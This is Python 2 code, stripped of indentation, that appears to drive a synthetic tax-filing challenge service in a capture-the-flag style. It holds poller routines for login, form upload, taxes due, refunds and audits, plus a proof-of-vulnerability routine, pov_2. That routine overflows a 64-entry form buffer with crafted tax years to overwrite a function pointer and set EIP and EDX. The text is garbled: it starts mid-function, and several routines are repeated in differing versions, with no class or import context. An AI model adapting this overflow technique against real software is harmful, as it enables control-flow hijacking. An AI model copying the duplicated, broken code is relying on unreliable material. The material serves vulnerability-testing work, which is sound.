# 1st & 2nd tax_year beyond buffer will overwrite fn ptr
# 4 more to fill in
# last 2 tax_years will overwite *r
# EIP = 0x1FFF0FFF
# EDX = 0xFBB0FBBF
for tf_year2 in [0x0FFF, 0x1FFF, tf_year+1, tf_year+2, tf_year+3, tf_year+4, 0xFBBF, 0xFBB0]:
t4d = TenFourD(tp)
t4d.tax_year = tf_year2
t4d.gen_totals_and_ds()
tp.tax_forms.append(t4d)
s = Session(s_key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
(buf1, buf2) = s.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12+128+8)
if DEBUG:
print "cmd: taxes submitted"
tdo = DateRange(0, 0xffff)
years = tp.get_list_submitted_tax_years(tdo.start_date, tdo.end_date)
if DEBUG and [] == years:
print " NO YEARS!"
s = Session(s_key, tp, self.TAXES_SUBMITTED, tdo.gen_bytes())
(buf1, buf2) = s.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12+128+8)
def taxes_submitted(self):
'''
Determine list of years in which a taxpayer submitted a TenFourD
'''
if DEBUG:
print "cmd: taxes submitted"
s_invalid = False
s = self._get_random_session()
tdo = DateRange(randint(0, 0xfff), randint(0, 0xffff))
tdo_invalid = False
years = []
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.TAXES_SUBMITTED, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
if False == tdo.is_valid():
tdo_invalid = True
else:
years = tp.get_list_submitted_tax_years(tdo.start_date, tdo.end_date)
s = Session(s.key, tp, self.TAXES_SUBMITTED, tdo.gen_bytes())
if DEBUG:
print tdo
print " years: {0}".format(years)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == tdo_invalid:
res = self.ERR
ans = self.TAXES_SUBMITTED_FAIL
else:
ans = self.TAXES_SUBMITTED_OK + ''.join([sp.pack_single_uint16(y) for y in years])
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if res == self.ERR:
# cannot match key on ERR conditions, so trim
# it and assign it to regex
self.read(length=len(resp.s_key), assign=self.state['randkey'])
buf = buf[len(resp.s_key):]
self.read(length=len(resp.answer))
buf = buf[len(resp.answer):]
else:
st = buf[:len(resp.s_key)+len(resp.answer)]
self.read(length=len(st))
buf = buf[len(resp.s_key)+len(resp.answer):]
# we've read the key and answer, the rest of the answer bytes are
# junk, so ignore them.
self.read(length=len(buf)-len(resp.result))
# read result
buf = buf[len(buf)-len(resp.result):]
self.read(length=len(buf))
return 0
def taxes_due(self):
'''
Determine total amount of tax due (+) or to be refunded (-)
'''
if DEBUG:
print "cmd: taxes due"
s_invalid = False
s = self._get_random_session()
tdo = DateRange(randint(0, 0xfff), randint(0, 0xffff))
tdo_invalid = False
sum_due = 0
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.TAXES_DUE, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
if False == tdo.is_valid():
tdo_invalid = True
else:
sum_due = tp.get_sum_taxes_due(tdo.start_date, tdo.end_date)
s = Session(s.key, tp, self.TAXES_DUE, tdo.gen_bytes())
if DEBUG:
print tdo
print " sum_due: {0}".format(sum_due)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == tdo_invalid:
res = self.ERR
ans = self.TAXES_DUE_FAIL + sp.pack_single_int32(sum_due)
else:
ans = self.TAXES_DUE_OK + sp.pack_single_int32(sum_due)
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if res == self.ERR:
# cannot match key on ERR conditions, so trim
# it and assign it to regex
self.read(length=len(resp.s_key), assign=self.state['randkey'])
buf = buf[len(resp.s_key):]
self.read(length=len(resp.answer))
buf = buf[len(resp.answer):]
else:
st = buf[:len(resp.s_key)+len(resp.answer)]
self.read(length=len(st))
buf = buf[len(resp.s_key)+len(resp.answer):]
# we've read the key and answer, the rest of the answer bytes are
# junk, so ignore them.
self.read(length=len(buf)-len(resp.result))
# read result
buf = buf[len(buf)-len(resp.result):]
self.read(length=len(buf))
return 0
def upload_form(self):
'''
Upload a tax form
'''
if DEBUG:
print "cmd: upload form"
s_invalid = False
t4d_invalid = False
s = self._get_random_session()
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
t4d = TenFourD(tp)
t4d.gen_totals_and_ds()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.UPLOAD_FORM, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
t4d = TenFourD(tp)
t4d.gen_totals_and_ds()
for t in tp.tax_forms:
if t.tax_year == t4d.tax_year:
t4d_invalid = True
break
s = Session(s.key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.UPLOAD_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == t4d_invalid:
res = self.ERR
ans = self.UPLOAD_FAIL
else:
# add t4d to taxpayer
tp.tax_forms.append(t4d)
resp = Response(s.key, ans, res)
if DEBUG:
print s
print tp
print t4d
print resp
buf = resp.gen_bytes()
if res == self.ERR:
# cannot match key on ERR conditions, so trim
# it and assign it to regex
self.read(length=len(resp.s_key), assign=self.state['randkey'])
buf = buf[len(resp.s_key):]
self.read(length=len(resp.answer))
buf = buf[len(resp.answer):]
else:
st = buf[:len(resp.s_key)+len(resp.answer)]
self.read(length=len(st))
buf = buf[len(resp.s_key)+len(resp.answer):]
# we've read the key and answer, the rest of the answer bytes are
# junk, so ignore them.
self.read(length=len(buf)-len(resp.result))
# read result
buf = buf[len(buf)-len(resp.result):]
self.read(length=len(buf))
return 0
def taxes_submitted(self):
'''
Determine list of years in which a taxpayer submitted a TenFourD
'''
if DEBUG:
print "cmd: taxes submitted"
s_invalid = False
s = self._get_random_session()
tdo = DateRange(randint(0, 0xfff), randint(0, 0xffff))
tdo_invalid = False
years = []
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.TAXES_SUBMITTED, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
if False == tdo.is_valid():
tdo_invalid = True
else:
years = tp.get_list_submitted_tax_years(
tdo.start_date, tdo.end_date)
s = Session(s.key, tp, self.TAXES_SUBMITTED, tdo.gen_bytes())
if DEBUG:
print tdo
print " years: {0}".format(years)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == tdo_invalid:
res = self.ERR
ans = self.TAXES_SUBMITTED_FAIL
else:
ans = self.TAXES_SUBMITTED_OK + ''.join(
[sp.pack_single_uint16(y) for y in years])
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if res == self.ERR:
# cannot match key on ERR conditions, so trim
# it and assign it to regex
self.read(length=len(resp.s_key), assign=self.state['randkey'])
buf = buf[len(resp.s_key):]
self.read(length=len(resp.answer))
buf = buf[len(resp.answer):]
else:
st = buf[:len(resp.s_key) + len(resp.answer)]
self.read(length=len(st))
buf = buf[len(resp.s_key) + len(resp.answer):]
# we've read the key and answer, the rest of the answer bytes are
# junk, so ignore them.
self.read(length=len(buf) - len(resp.result))
# read result
buf = buf[len(buf) - len(resp.result):]
self.read(length=len(buf))
return 0
def upload_form(self):
'''
Upload a tax form
'''
if DEBUG:
print "cmd: upload form"
s_invalid = False
t4d_invalid = False
s = self._get_random_session()
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
t4d = TenFourD(tp)
t4d.gen_totals_and_ds()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.UPLOAD_FORM, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
t4d = TenFourD(tp)
t4d.gen_totals_and_ds()
for t in tp.tax_forms:
if t.tax_year == t4d.tax_year:
t4d_invalid = True
break
s = Session(s.key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.UPLOAD_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == t4d_invalid:
res = self.ERR
ans = self.UPLOAD_FAIL
else:
# add t4d to taxpayer
tp.tax_forms.append(t4d)
resp = Response(s.key, ans, res)
if DEBUG:
print s
print tp
print t4d
print resp
buf = resp.gen_bytes()
if res == self.ERR:
# cannot match key on ERR conditions, so trim
# it and assign it to regex
self.read(length=len(resp.s_key), assign=self.state['randkey'])
buf = buf[len(resp.s_key):]
self.read(length=len(resp.answer))
buf = buf[len(resp.answer):]
else:
st = buf[:len(resp.s_key) + len(resp.answer)]
self.read(length=len(st))
buf = buf[len(resp.s_key) + len(resp.answer):]
# we've read the key and answer, the rest of the answer bytes are
# junk, so ignore them.
self.read(length=len(buf) - len(resp.result))
# read result
buf = buf[len(buf) - len(resp.result):]
self.read(length=len(buf))
return 0
def login(self):
'''
Login to establish a session
'''
if DEBUG:
print "cmd: login -----------"
tp_invalid = False
tp = self.state['s'].get_rand_taxpayer()
if False == isinstance(tp, TaxPayer):
# create invalid taxpayer to trigger fail paths
tp = self._gen_random_taxpayer()
tp_invalid = True
s_key = sp.random_string(12)
s = Session(s_key, tp, self.LOGIN, "")
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.LOGIN_OK
if tp.username in self.state['sessions']:
res = self.ERR
# taxpayer is already logged in
s_old = self.state['sessions'][tp.username]
if s_old.key != s.key:
ans = self.LOGIN_FAIL
else:
ans = self.NICE_TRY
elif True == tp_invalid:
# taxpayer has not registered or provided invalid creds
res = self.ERR
ans = self.LOGIN_FAIL
else:
# rock on
self.state['sessions'][tp.username] = s
resp = Response(s_key, ans, res)
if DEBUG:
print " Username: {0}".format(tp.username)
print " Response: K:{0}, A:{1}, R:{2} {3}".format(
len(resp.s_key), len(resp.answer), len(resp.result), resp)
buf = resp.gen_bytes()
if DEBUG:
print " resp buf: ({0}) {1}".format(len(buf), sp.hexify(buf))
print " as text {0}".format(buf)
if res == self.ERR:
# cannot match key on ERR conditions, so just read len
e = buf[:len(resp.s_key)]
buf = buf[len(resp.s_key):]
self.read(length=len(e))
if DEBUG:
print " read resp.s_key = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
e = buf[:len(resp.answer)]
buf = buf[len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.answer = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
else:
e = buf[:len(resp.s_key) + len(resp.answer)]
buf = buf[len(resp.s_key) + len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.s_key + resp.answer = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
# we've read the key and answer, the rest of the answer bytes are
# junk, so just read len
e = buf[:-len(resp.result)]
buf = buf[-len(resp.result):]
self.read(length=len(e))
if DEBUG:
print " read -len(resp.result) = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
self.read(length=len(buf), expect=buf)
if DEBUG:
print " read final len(buf) = ({0}) {1}".format(
len(buf), sp.hexify(buf))
return 0
def get_refund(self):
'''
Get tax refund.
'''
if DEBUG:
print "cmd: get refund"
s_invalid = False
s = self._get_random_session()
p_invalid = False
years = []
refund = 0
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.GET_REFUND, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
refund, years = tp.get_list_refund()
if [] == years:
p_invalid = True
s = Session(s.key, tp, self.GET_REFUND, "")
if DEBUG:
print "refund {0} years: {1}".format(refund, years)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == p_invalid:
res = self.ERR
ans = self.GET_REFUND_FAIL
else:
ans = self.GET_REFUND_OK + sp.pack_single_uint32(refund) + ''.join(
[sp.pack_single_uint16(y) for y in years])
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if res == self.ERR:
# cannot match key on ERR conditions, so trim
# it and assign it to regex
self.read(length=len(resp.s_key), assign=self.state['randkey'])
buf = buf[len(resp.s_key):]
self.read(length=len(resp.answer))
buf = buf[len(resp.answer):]
else:
st = buf[:len(resp.s_key) + len(resp.answer)]
self.read(length=len(st))
buf = buf[len(resp.s_key) + len(resp.answer):]
# we've read the key and answer, the rest of the answer bytes are
# junk, so ignore them.
self.read(length=len(buf) - len(resp.result))
# read result
buf = buf[len(buf) - len(resp.result):]
self.read(length=len(buf))
return 0
def upload_form(self):
'''
Upload a tax form
'''
if DEBUG:
print "cmd: upload form"
s_invalid = False
t4d_invalid = False
s = self._get_random_session()
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
t4d = TenFourD(tp)
t4d.gen_totals_and_ds()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.UPLOAD_FORM, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
t4d = TenFourD(tp)
t4d.gen_totals_and_ds()
for t in tp.tax_forms:
if t.tax_year == t4d.tax_year:
t4d_invalid = True
break
s = Session(s.key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.UPLOAD_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == t4d_invalid:
res = self.ERR
ans = self.UPLOAD_FAIL
else:
# add t4d to taxpayer
tp.tax_forms.append(t4d)
resp = Response(s.key, ans, res)
if DEBUG:
print s
print tp
print t4d
print resp
buf = resp.gen_bytes()
if DEBUG:
print " Username: {0}".format(tp.username)
print " Response: K:{0}, A:{1}, R:{2} {3}".format(
len(resp.s_key), len(resp.answer), len(resp.result), resp)
buf = resp.gen_bytes()
if DEBUG:
print " resp buf: ({0}) {1}".format(len(buf), sp.hexify(buf))
print " as text {0}".format(buf)
if res == self.ERR:
# cannot match key on ERR conditions, so just read len
e = buf[:len(resp.s_key)]
buf = buf[len(resp.s_key):]
self.read(length=len(e))
if DEBUG:
print " read resp.s_key = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
e = buf[:len(resp.answer)]
buf = buf[len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.answer = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
else:
e = buf[:len(resp.s_key) + len(resp.answer)]
buf = buf[len(resp.s_key) + len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.s_key + resp.answer = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
# we've read the key and answer, the rest of the answer bytes are
# junk, so just read len
e = buf[:-len(resp.result)]
buf = buf[-len(resp.result):]
self.read(length=len(e))
if DEBUG:
print " read -len(resp.result) = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
self.read(length=len(buf), expect=buf)
if DEBUG:
print " read final len(buf) = ({0}) {1}".format(
len(buf), sp.hexify(buf))
return 0
def pov_2(self):
'''
Create a new account
'''
if DEBUG:
print "cmd: create account -----------"
# create account
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.CREATE_ACCOUNT,
tp.gen_new_taxpayer_data_bytes())
buf = s.gen_bytes()
self.write(buf)
# read s_key
self.read(length=12)
# read password
self.read(length=12, assign=self.state['pwd'])
# read the rest
self.read(length=8 + 128 - 12)
tp.password = "******" * 12
if DEBUG:
print "cmd: login -----------"
s_key = sp.random_string(12)
s_loggedin = Session(s_key, tp, self.LOGIN, "")
(buf1, buf2) = s_loggedin.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12 + 128 + 8)
if DEBUG:
print "cmd: upload form -----------"
# 64 will fill buffer to max
tf_year = randint(0, 0xEFFF)
for _ in range(64):
t4d = TenFourD(tp)
t4d.tax_year = tf_year
tf_year += 1
t4d.gen_totals_and_ds()
tp.tax_forms.append(t4d)
s = Session(s_key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
(buf1, buf2) = s.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12 + 128 + 8)
# 1st & 2nd tax_year beyond buffer will overwrite fn ptr
# 4 more to fill in
# last 2 tax_years will overwite *r
# EIP = 0x1FFF0FFF
# EDX = 0xFBB0FBBF
for tf_year2 in [
0x0FFF, 0x1FFF, tf_year + 1, tf_year + 2, tf_year + 3,
tf_year + 4, 0xFBBF, 0xFBB0
]:
t4d = TenFourD(tp)
t4d.tax_year = tf_year2
t4d.gen_totals_and_ds()
tp.tax_forms.append(t4d)
s = Session(s_key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
(buf1, buf2) = s.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12 + 128 + 8)
if DEBUG:
print "cmd: taxes submitted"
tdo = DateRange(0, 0xffff)
years = tp.get_list_submitted_tax_years(tdo.start_date, tdo.end_date)
if DEBUG and [] == years:
print " NO YEARS!"
s = Session(s_key, tp, self.TAXES_SUBMITTED, tdo.gen_bytes())
(buf1, buf2) = s.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12 + 128 + 8)
def taxes_submitted(self):
'''
Determine list of years in which a taxpayer submitted a TenFourD
'''
if DEBUG:
print "cmd: taxes submitted"
s_invalid = False
s = self._get_random_session()
tdo = DateRange(randint(0, 0xfff), randint(0, 0xffff))
tdo_invalid = False
years = []
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.TAXES_SUBMITTED, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
if False == tdo.is_valid():
tdo_invalid = True
else:
years = tp.get_list_submitted_tax_years(
tdo.start_date, tdo.end_date)
s = Session(s.key, tp, self.TAXES_SUBMITTED, tdo.gen_bytes())
if DEBUG:
print tdo
print " years: {0}".format(years)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == tdo_invalid:
res = self.ERR
ans = self.TAXES_SUBMITTED_FAIL
else:
ans = self.TAXES_SUBMITTED_OK + ''.join(
[sp.pack_single_uint16(y) for y in years])
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if DEBUG:
print " Username: {0}".format(tp.username)
print " Response: K:{0}, A:{1}, R:{2} {3}".format(
len(resp.s_key), len(resp.answer), len(resp.result), resp)
buf = resp.gen_bytes()
if DEBUG:
print " resp buf: ({0}) {1}".format(len(buf), sp.hexify(buf))
print " as text {0}".format(buf)
if res == self.ERR:
# cannot match key on ERR conditions, so just read len
e = buf[:len(resp.s_key)]
buf = buf[len(resp.s_key):]
self.read(length=len(e))
if DEBUG:
print " read resp.s_key = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
e = buf[:len(resp.answer)]
buf = buf[len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.answer = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
else:
e = buf[:len(resp.s_key) + len(resp.answer)]
buf = buf[len(resp.s_key) + len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.s_key + resp.answer = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
# we've read the key and answer, the rest of the answer bytes are
# junk, so just read len
e = buf[:-len(resp.result)]
buf = buf[-len(resp.result):]
self.read(length=len(e))
if DEBUG:
print " read -len(resp.result) = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
self.read(length=len(buf), expect=buf)
if DEBUG:
print " read final len(buf) = ({0}) {1}".format(
len(buf), sp.hexify(buf))
return 0
def login(self):
'''
Login to establish a session
'''
if DEBUG:
print "cmd: login -----------"
tp_invalid = False
tp = self.state['s'].get_rand_taxpayer()
if False == isinstance(tp, TaxPayer):
# create invalid taxpayer to trigger fail paths
tp = self._gen_random_taxpayer()
tp_invalid = True
s_key = sp.random_string(12)
s = Session(s_key, tp, self.LOGIN, "")
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.LOGIN_OK
if tp.username in self.state['sessions']:
res = self.ERR
# taxpayer is already logged in
s_old = self.state['sessions'][tp.username]
if s_old.key != s.key:
ans = self.LOGIN_FAIL
else:
ans = self.NICE_TRY
elif True == tp_invalid:
# taxpayer has not registered or provided invalid creds
res = self.ERR
ans = self.LOGIN_FAIL
else:
# rock on
self.state['sessions'][tp.username] = s
resp = Response(s_key, ans, res)
if DEBUG:
print " Username: {0}".format(tp.username)
print " Response: K:{0}, A:{1}, R:{2} {3}".format(len(resp.s_key), len(resp.answer), len(resp.result), resp)
buf = resp.gen_bytes()
if DEBUG:
print " resp buf: ({0}) {1}".format(len(buf), sp.hexify(buf))
print " as text {0}".format(buf)
if res == self.ERR:
# cannot match key on ERR conditions, so just read len
e = buf[:len(resp.s_key)]
buf = buf[len(resp.s_key):]
self.read(length=len(e))
if DEBUG:
print " read resp.s_key = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
e = buf[:len(resp.answer)]
buf = buf[len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.answer = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
else:
e = buf[:len(resp.s_key)+len(resp.answer)]
buf = buf[len(resp.s_key)+len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.s_key + resp.answer = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
# we've read the key and answer, the rest of the answer bytes are
# junk, so just read len
e = buf[:-len(resp.result)]
buf = buf[-len(resp.result):]
self.read(length=len(e))
if DEBUG:
print " read -len(resp.result) = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
self.read(length=len(buf), expect=buf)
if DEBUG:
print " read final len(buf) = ({0}) {1}".format(len(buf), sp.hexify(buf))
return 0
def get_audited(self):
'''
Get audited.
'''
if DEBUG:
print "cmd: get audited"
s_invalid = False
s = self._get_random_session()
a_invalid = False
cmd = self.TRIGGER_AUDIT
if self.chance(0.4):
cmd = self.TRIGGER_AUDIT2
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, cmd, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
s = Session(s.key, tp, cmd, "")
buf = s.gen_bytes()
self.write(buf)
ar = AuditRecord(tp)
if tp.id in self.state['s'].audits:
a_invalid = True
res = self.OK
ans = self.LUCKY_DAY
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == a_invalid:
res = self.ERR
ans = self.AUDIT_FAIL
elif 0 == len(ar.tax_years):
ans = self.LUCKY_DAY
else:
ans = self.YOU_WIN + ''.join(
[sp.pack_single_uint16(y) for y in ar.tax_years])
self.state['s'].audit_taxpayer(ar)
if DEBUG:
print "audit years: {0}".format(ar.tax_years)
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if DEBUG:
print " Username: {0}".format(tp.username)
print " Response: K:{0}, A:{1}, R:{2} {3}".format(
len(resp.s_key), len(resp.answer), len(resp.result), resp)
buf = resp.gen_bytes()
if DEBUG:
print " resp buf: ({0}) {1}".format(len(buf), sp.hexify(buf))
print " as text {0}".format(buf)
if res == self.ERR:
# cannot match key on ERR conditions, so just read len
e = buf[:len(resp.s_key)]
buf = buf[len(resp.s_key):]
self.read(length=len(e))
if DEBUG:
print " read resp.s_key = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
e = buf[:len(resp.answer)]
buf = buf[len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.answer = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
else:
e = buf[:len(resp.s_key) + len(resp.answer)]
buf = buf[len(resp.s_key) + len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.s_key + resp.answer = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
# we've read the key and answer, the rest of the answer bytes are
# junk, so just read len
e = buf[:-len(resp.result)]
buf = buf[-len(resp.result):]
self.read(length=len(e))
if DEBUG:
print " read -len(resp.result) = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
self.read(length=len(buf), expect=buf)
if DEBUG:
print " read final len(buf) = ({0}) {1}".format(
len(buf), sp.hexify(buf))
return 0
def login(self):
'''
Login to establish a session
'''
if DEBUG:
print "cmd: login -----------"
tp_invalid = False
tp = self.state['s'].get_rand_taxpayer()
if False == isinstance(tp, TaxPayer):
# create invalid taxpayer to trigger fail paths
tp = self._gen_random_taxpayer()
tp_invalid = True
s_key = sp.random_string(12)
s = Session(s_key, tp, self.LOGIN, "")
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.LOGIN_OK
if tp.username in self.state['sessions']:
res = self.ERR
# taxpayer is already logged in
s_old = self.state['sessions'][tp.username]
if s_old.key != s.key:
ans = self.LOGIN_FAIL
else:
ans = self.NICE_TRY
elif True == tp_invalid:
# taxpayer has not registered or provided invalid creds
res = self.ERR
ans = self.LOGIN_FAIL
else:
# rock on
self.state['sessions'][tp.username] = s
resp = Response(s_key, ans, res)
if DEBUG:
print s
print resp
buf = resp.gen_bytes()
if res == self.ERR:
# cannot match key on ERR conditions, so trim
# it and assign it to regex
self.read(length=len(resp.s_key), assign=self.state['randkey'])
buf = buf[len(resp.s_key):]
self.read(length=len(resp.answer))
buf = buf[len(resp.answer):]
else:
st = buf[:len(resp.s_key) + len(resp.answer)]
self.read(length=len(st))
buf = buf[len(resp.s_key) + len(resp.answer):]
# we've read the key and answer, the rest of the answer bytes are
# junk, so ignore them.
self.read(length=len(buf) - len(resp.result))
# read result
buf = buf[len(buf) - len(resp.result):]
self.read(length=len(buf))
return 0